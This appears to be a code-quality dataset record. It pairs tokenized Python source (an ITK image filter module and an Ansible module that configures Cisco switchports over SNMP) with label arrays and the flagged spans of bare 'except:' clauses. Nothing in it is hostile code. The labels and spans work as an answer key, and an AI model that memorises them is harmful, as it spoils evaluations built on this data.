"\\u", "input_", "(_", "\"", "Dimen", "sion", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dim_", "=_", "im_", "._", "get", "Dim_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "seed", "1_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "See", "d1", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "seed", "2_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "See", "d2", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "replace_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Replace", " ", "Value", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t", "\\u", "lower_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Lower", " ", "Value", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t", "\\u", "upper_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Upp", "er", " ", "Value", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "in", "Im", "g", "Type_", "=_", "itk", "_", "._", "Image_", "[_", "in", "Pix", "el", "Type_", "._", "\\u", "type_", ",_", "dim_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "Im", "g", "Type_", "=_", "itk", "_", "._", "Image_", "[_", "out", "Pix", "el", "Type_", "._", "\\u", "type_", ",_", "dim_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "filter\\u_", "=_", "itk", "_", "._", "Isolat", "ed", "Connect", "ed", "Image", "Filter_", "[_", "in", "Im", "g", "Type_", ",_", "out", "Im", "g", "Type_", "]_", "._", "New_", "(_", "im_", "._", "get", "Img_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "filter\\u_", "._", "Set", "Replace", "Value_", "(_", "replace_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "filter\\u_", "._", "Set", "Lower", "_", "(_", "t", "\\u", "lower_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "filter\\u_", "._", "Set", "Upp", "er", "Value", "Limit_", "(_", "t", "\\u", "upper_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "filter\\u_", "._", "Set", "See", "d1_", "(_", "seed", "1_", "._", "ind", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "filter\\u_", "._", "Set", "See", "d2_", "(_", "seed", "2_", "._", "ind", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "filter\\u_", "._", "Update_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "setup", " ", "output", " ", "image_", "\\u\\u\\uNL\\u\\u\\u_", "out", "Im", "_", "=_", "Image_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "Im", "_", "._", "set", "Img_", "(_", "self_", "._", "filter\\u_", "._", "Get", "Output_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "Im", "_", "._", "set", "Pix", "el", "Type_", "(_", "out", "Pix", "el", "Type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "Im", "_", "._", "set", "Dim_", "(_", "dim_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "set\\u", "output_", "(_", "\"", "Output", " ", "Image", "\"_", ",_", "out", "Im", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "set\\u", "output_", "(_", "\"", "Output", " ", "Pix", "el", "Type", "\"_", ",_", "out", "Pix", "el", "Type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Isolat", "ed", "Connect", "ed", "Image", "Filter_", "(_", "Module_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "register_", "(_", "cls_", ",_", "reg_", ",_", "basic_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reg_", "._", "add", "\\u", "module_", "(_", "cls_", ",_", "name_", "=_", "\"", "Isolat", "ed", " ", "Connect", "ed", " ", "Image", " ", "Filter", "\"_", ",_", "namespace_", "=_", "cls_", "._", "my", "\\u", "namespace_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Inp", "ut", " ", "Image", "\"_", ",_", "(_", "Image_", ",_", "'", "Inp", "ut", " ", "Image", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Inp", "ut", " ", "Pix", "el", "Type", "\"_", ",_", "(_", "Pix", "el", "Type_", ",_", "'", "Inp", "ut", " ", "Pix", "el", "Type", "'_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Output", " ", "Pix", "el", "Type", "\"_", ",_", "(_", "Pix", "el", "Type_", ",_", "'", "Output", " ", "Pix", "el", "Type", "'_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Dimen", "sion", "\"_", ",_", "(_", "basic_", "._", "Integer_", ",_", "'", "Dimen", "sion", "'_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "See", "d1", "\"_", ",_", "(_", "Index", "2", "D_", ",_", "'", "See", "d", " ", "Point", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "See", "d2", "\"_", ",_", "(_", "Index", "2", "D_", ",_", "'", "See", "d", " ", "Point", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Replace", " ", "Value", "\"_", ",_", "(_", "basic_", "._", "Integer_", ",_", "'", "Replace", "ment", " ", "Value", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Upp", "er", " ", "Value", "\"_", ",_", "(_", "basic_", "._", "Integer_", ",_", "'", "Upp", "er", " ", "Thresh", "old", " ", "Value", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Lower", " ", "Value", "\"_", ",_", "(_", "basic_", "._", "Integer_", ",_", "'", "Lower", " ", "Thresh", "old", " ", "Value", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "reg_", "._", "add", "\\u", "output", "\\u", "port_", "(_", "cls_", ",_", "\"", "Output", " ", "Image", "\"_", ",_", "(_", "Image_", ",_", "'", "Output", " ", "Image", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "output", "\\u", "port_", "(_", "cls_", ",_", "\"", "Output", " ", "Pix", "el", "Type", "\"_", ",_", "(_", "Pix", "el", "Type_", ",_", "'", "Output", " ", "Pix", "el", "Type", "'_", ")_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
networklore/ansible-cisco-snmp/library/cisco_snmp_switchport.py
[ { "content": "#!/usr/bin/python\n\n# Copyright 2015 Patrick Ogenstad <[email protected]>\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nDOCUMENTATION = '''\n---\n\nmodule: cisco_snmp_switchport\nauthor: Patrick Ogenstad (@networklore)\nshort_description: Configures switchport settings\ndescription:\n - Configured switchport setting such as port mode and vlans.\nrequirements:\n - nelsnmp\noptions:\n host:\n description:\n - Typically set to {{ inventory_hostname }}\n required: true\n version:\n description:\n - SNMP Version to use, 2c or 3\n choices: [ '2c', '3' ]\n required: true\n community:\n description:\n - The SNMP community string, required if version is 2c\n required: false\n level:\n description:\n - Authentication level, required if version is 3\n choices: [ 'authPriv', 'authNoPriv' ]\n required: false\n username:\n description:\n - Username for SNMPv3, required if version is 3\n required: false\n integrity:\n description:\n - Hashing algoritm, required if version is 3\n choices: [ 'md5', 'sha' ]\n required: false\n authkey:\n description:\n - Authentication key, required if version is 3\n required: false\n privacy:\n description:\n - Encryption algoritm, required if level is authPriv\n choices: [ 'des', '3des', 'aes', 'aes192', 'aes256' ]\n required: false\n privkey:\n description:\n - Encryption key, required if version is authPriv\n required: false\n mode:\n description:\n - Mode of the interface\n choices: [ 'access', 'trunk', 'desirable', 'auto', 'trunk-nonegotiate' ]\n required: True\n interface_id:\n description:\n - The SNMP interface id (ifIndex)\n required: false\n interface_name:\n description:\n - The name of the interface\n required: false\n access_vlan:\n description:\n - The access vlan id\n required: false\n native_vlan:\n description:\n - The native vlan id on a trunk port\n required: false\n\n'''\n\nEXAMPLES = '''\n# Set interface with id 10001 to access mode in vlan 12\n- cisco_snmp_switchport: host={{ inventory_hostname }} version=2c community=private interface_id=10001 mode=access access_vlan=12\n\n# Change FastEthernet0/2 to trunk mode using native vlan 12\n- cisco_snmp_switchport:\n host={{ inventory_hostname }}\n version=3\n level=authPriv\n integrity=sha\n privacy=aes\n username=snmp-user\n authkey=abc12345\n privkey=def6789\n mode=trunk\n interface_name=\"FastEthernet0/2\"\n native_vlan=12\n'''\n\nfrom ansible.module_utils.basic import *\nfrom collections import defaultdict\n\ntry:\n from nelsnmp.snmp import SnmpHandler\n from nelsnmp.vendors.cisco.oids import CiscoOids\n o = CiscoOids()\n has_nelsnmp = True\nexcept:\n has_nelsnmp = False\n\nNELSNMP_PARAMETERS = (\n 'host',\n 'community',\n 'version',\n 'level',\n 'integrity',\n 'privacy',\n 'username',\n 'authkey',\n 'privkey'\n)\n\nPORT_MODE = {\n 'trunk': 1,\n 'access': 2,\n 'desirable': 3,\n 'auto': 4,\n 'trunk-nonegotiate': 5,\n}\n\n\n\n\n\n\n\n\n\nmain()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def set_state(dev, oid, desired_state, module):\n try:\n current_state = dev.get_value(oid)\n except Exception, err:\n module.fail_json(msg=str(err))\n\n if current_state == desired_state:\n return False\n else:\n try:\n dev.set(oid, desired_state)\n except:\n module.fail_json(msg='Unable to write to device')\n return True", "metadata": "root.set_state", "header": "['module', '___EOS___']", "index": 148 } ]
[ { "span": "except:", "start_line": 118, "start_column": 0, "end_line": 118, "end_column": 7 }, { "span": "except:", "start_line": 159, "start_column": 8, "end_line": 159, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "python_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "201", "5", " ", "Patr", "ick", " ", "Og", "ens", "tad", " ", "<", "patr", "ick", "@", "oge", "nsta", "d", ".", "com", ">_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", "d", " ", "under", " ", "the", " ", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0", " ", "(", "the", " ", "\"", "License", "\");", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "you", " ", "may", " ", "not", " ", "use", " ", "this", " ", "file", " ", "except", " ", "in", " ", "compli", "anc", "e", " ", "with", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "You", " ", "may", " ", "obtain", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "License", " ", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "http", "://", "www", ".", "apa", "che", ".", "org", "/", "license", "s", "/", "LICENSE", "-", "2.0_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Un", "less", " ", "require", "d", " ", "by", " ", "applica", "ble", " ", "law", " ", "or", " ", "agree", "d", " ", "to", " ", "in", " ", "writ", "ing", ",", " ", "software", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "distributed", " ", "under", " ", "the", " ", "License", " ", "is", " ", "distributed", " ", "on", " ", "an", " ", "\"", "AS", " ", "IS", "\"", " ", "BAS", "IS", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "WITH", "OUT", " ", "WAR", "RAN", "TIES", " ", "OR", " ", "CONDITION", "S", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "eit", "her", " ", "express", " ", "or", " ", "impli", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "the", " ", "License", " ", "for", " ", "the", " ", "specific", " ", "language", " ", "govern", "ing", " ", "permissi", "ons", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "limit", "ation", "s", " ", "under", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "DOCUMENT", "ATION_", "=_", "'''", "\\", "10", ";", "---", "\\", "10", ";", "\\", "10", ";", "module", ":", " ", "cis", "co", "\\u", "snmp", "\\u", "switch", "port", "\\", "10", ";", "author", ":", " ", "Patr", "ick", " ", "Og", "ens", "tad", " ", "(", "@", "network", "lore", ")", "\\", "10", ";", "short", "\\u", "description", ":", " ", "Configure", "s", " ", "switch", "port", " ", "settings", "\\", "10", ";", "description", ":", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "Configure", "d", " ", "switch", "port", " ", "setti", "ng", " ", "suc", "h", " ", "as", " ", "port", " ", "mode", " ", "and", " ", "vlan", "s", ".", "\\", "10", ";", "require", "ment", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "nels", "nmp", "\\", "10", ";", "options", ":", "\\", "10", ";", " ", " ", " ", " ", "host", ":", "\\", "10", ";", " ", " ", " ", " ", "description", ":", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "Typical", "ly", " ", "set", " ", "to", " ", "{{", " ", "inventor", "y", "\\u", "host", "name", " ", "}}\\", "10", ";", " ", " ", " ", " ", "require", "d", ":", " ", "true", "\\", "10", ";", " ", " ", " ", " ", "version", ":", "\\", "10", ";", " ", " ", " ", " ", "description", ":", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "SN", "MP", " ", "Version", " ", "to", " ", "use", ",", " ", "2c", " ", "or", " ", "3", "\\", "10", ";", " ", " ", " ", " ", "choice", "s", ":", " ", "[", " ", "'", "2c", "',", " ", "'", "3", "'", " ", "]", "\\", "10", ";", " ", " ", " ", " ", "require", "d", ":", " ", "true", "\\", "10", ";", " ", " ", " ", " ", "communi", "ty", ":", "\\", "10", ";", " ", " ", " ", " ", "description", ":", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "The", " ", "SN", "MP", " ", "communi", "ty", " ", "string", ",", " ", "require", "d", " ", "if", " ", "version", " ", "is", " ", "2c", "\\", "10", ";", " ", " ", " ", " ", "require", "d", ":", " ", "fal", "se", "\\", "10", ";", " ", " ", " ", " ", "level", ":", "\\", "10", ";", " ", " ", " ", " ", "description", ":", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "Auth", "entica", "tion", " ", "level", ",", " ", "require", "d", " ", "if", " ", "version", " ", "is", " ", "3", "\\", "10", ";", " ", " ", " ", " ", "choice", "s", ":", " ", "[", " ", "'", "auth", "Pri", "v", "',", " ", "'", "auth", "No", "Pri", "v", "'", " ", "]", "\\", "10", ";", " ", " ", " ", " ", "require", "d", ":", " ", "fal", "se", "\\", "10", ";", " ", " ", " ", " ", "user", "name", ":", "\\", "10", ";", " ", " ", " ", " ", "description", ":", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "User", "name", " ", "for", " ", "SN", "MP", "v", "3", ",", " ", "require", "d", " ", "if", " ", "version", " ", "is", " ", "3", "\\", "10", ";", " ", " ", " ", " ", "require", "d", ":", " ", "fal", "se", "\\", "10", ";", " ", " ", " ", " ", "integrity", ":", "\\", "10", ";", " ", " ", " ", " ", "description", ":", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "Hash", "ing", " ", "algo", "rit", "m", ",", " ", "require", "d", " ", "if", " ", "version", " ", "is", " ", "3", "\\", "10", ";", " ", " ", " ", " ", "choice", "s", ":", " ", "[", " ", "'", "md5", "',", " ", "'", "sha", "'", " ", "]", "\\", "10", ";", " ", " ", " ", " ", "require", "d", ":", " ", "fal", "se", "\\", "10", ";", " ", " ", " ", " ", "auth", "key", ":", "\\", "10", ";", " ", " ", " ", " ", "description", ":", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "Auth", "entica", "tion", " ", "key", ",", " ", "require", "d", " ", "if", " ", "version", " ", "is", " ", "3", "\\", "10", ";", " ", " ", " ", " ", "require", "d", ":", " ", "fal", "se", "\\", "10", ";", " ", " ", " ", " ", "privacy", ":", "\\", "10", ";", " ", " ", " ", " ", "description", ":", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "Encrypt", "ion", " ", "algo", "rit", "m", ",", " ", "require", "d", " ", "if", " ", "level", " ", "is", " ", "auth", "Pri", "v", "\\", "10", ";", " ", " ", " ", " ", "choice", "s", ":", " ", "[", " ", "'", "des", "',", " ", "'", "3d", "es", "',", " ", "'", "aes", "',", " ", "'", "aes", "192", "',", " ", "'", "aes", "256", "'", " ", "]", "\\", "10", ";", " ", " ", " ", " ", "require", "d", ":", " ", "fal", "se", "\\", "10", ";", " ", " ", " ", " ", "priv", "key", ":", "\\", "10", ";", " ", " ", " ", " ", "description", ":", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "Encrypt", "ion", " ", "key", ",", " ", "require", "d", " ", "if", " ", "version", " ", "is", " ", "auth", "Pri", "v", "\\", "10", ";", " ", " ", " ", " ", "require", "d", ":", " ", "fal", "se", "\\", "10", ";", " ", " ", " ", " ", "mode", ":", "\\", "10", ";", " ", " ", " ", " ", "description", ":", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "Mode", " ", "of", " ", "the", " ", "interface", "\\", "10", ";", " ", " ", " ", " ", "choice", "s", ":", " ", "[", " ", "'", "access", "',", " ", "'", "trunk", "',", " ", "'", "desi", "rab", "le", "',", " ", "'", "auto", "',", " ", "'", "trunk", "-", "none", "got", "iate", "'", " ", "]", "\\", "10", ";", " ", " ", " ", " ", "require", "d", ":", " ", "Tru", "e", "\\", "10", ";", " ", " ", " ", " ", "interface", "\\u", "id", ":", "\\", "10", ";", " ", " ", " ", " ", "description", ":", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "The", " ", "SN", "MP", " ", "interface", " ", "id", " ", "(", "if", "Index", ")", "\\", "10", ";", " ", " ", " ", " ", "require", "d", ":", " ", "fal", "se", "\\", "10", ";", " ", " ", " ", " ", "interface", "\\u", "name", ":", "\\", "10", ";", " ", " ", " ", " ", "description", ":", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "The", " ", "name", " ", "of", " ", "the", " ", "interface", "\\", "10", ";", " ", " ", " ", " ", "require", "d", ":", " ", "fal", "se", "\\", "10", ";", " ", " ", " ", " ", "access", "\\u", "vlan", ":", "\\", "10", ";", " ", " ", " ", " ", "description", ":", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "The", " ", "access", " ", "vlan", " ", "id", "\\", "10", ";", " ", " ", " ", " ", "require", "d", ":", " ", "fal", "se", "\\", "10", ";", " ", " ", " ", " ", "nativ", "e\\u", "vlan", ":", "\\", "10", ";", " ", " ", " ", " ", "description", ":", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "The", " ", "nativ", "e", " ", "vlan", " ", "id", " ", "on", " ", "a", " ", "trunk", " ", "port", "\\", "10", ";", " ", " ", " ", " ", "require", "d", ":", " ", "fal", "se", "\\", "10", ";", "\\", "10", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "EXAMPLES", "_", "=_", "'''", "\\", "10", ";", "#", " ", "Set", " ", "interface", " ", "with", " ", "id", " ", "10001", " ", "to", " ", "access", " ", "mode", " ", "in", " ", "vlan", " ", "1", "2", "\\", "10", ";", "-", " ", "cis", "co", "\\u", "snmp", "\\u", "switch", "port", ":", " ", "host", "={", "{", " ", "inventor", "y", "\\u", "host", "name", " ", "}}", " ", "version", "=", "2c", " ", "communi", "ty", "=", "private", " ", "interface", "\\u", "id", "=", "10001", " ", "mode", "=", "access", " ", "access", "\\u", "vlan", "=", "1", "2", "\\", "10", ";", "\\", "10", ";", "#", " ", "Change", " ", "Fast", "Ether", "net", "0", "/", "2", " ", "to", " ", "trunk", " ", "mode", " ", "usi", "ng", " ", "nativ", "e", " ", "vlan", " ", "1", "2", "\\", "10", ";", "-", " ", "cis", "co", "\\u", "snmp", "\\u", "switch", "port", ":", "\\", "10", ";", " ", " ", " ", " ", "host", "={", "{", " ", "inventor", "y", "\\u", "host", "name", " ", "}}\\", "10", ";", " ", " ", " ", " ", "version", "=", "3", "\\", "10", ";", " ", " ", " ", " ", "level", "=", "auth", "Pri", "v", "\\", "10", ";", " ", " ", " ", " ", "integrity", "=", "sha", "\\", "10", ";", " ", " ", " ", " ", "privacy", "=", "aes", "\\", "10", ";", " ", " ", " ", " ", "user", "name", "=", "snmp", "-", "user", "\\", "10", ";", " ", " ", " ", " ", "auth", "key", "=", "abc", "12345", "\\", "10", ";", " ", " ", " ", " ", "priv", "key", "=", "def", "678", "9", "\\", "10", ";", " ", " ", " ", " ", "mode", "=", "trunk", "\\", "10", ";", " ", " ", " ", " ", "interface", "\\u", "name", "=\"", "Fast", "Ether", "net", "0", "/", "2", "\"", "\\", "10", ";", " ", " ", " ", " ", "nativ", "e\\u", "vlan", "=", "1", "2", "\\", "10", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "ansible_", "._", "module", "\\u", "utils_", "._", "basic_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "collections_", "import_", "defaultdict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "nels", "nmp", "_", "._", "snmp", "_", "import_", "Sn", "mp", "Handler_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "nels", "nmp", "_", "._", "vendor", "s_", "._", "cis", "co_", "._", "oids", "_", "import_", "Ci", "sco", "Oi", "ds_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "o_", "=_", "Ci", "sco", "Oi", "ds_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "has", "\\u", "nels", "nmp", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "has", "\\u", "nels", "nmp", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "NEL", "SN", "MP", "\\u", "PARAMETERS", "_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "host", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "communi", "ty", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "version", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "level", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "integrity", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "privacy", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "name", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "auth", "key", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "priv", "key", "'_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "PORT", "\\u", "MODE_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "trunk", "'_", ":_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "access", "'_", ":_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "desi", "rab", "le", "'_", ":_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "auto", "'_", ":_", "4_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "trunk", "-", "none", "got", "iate", "'_", ":_", "5_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", 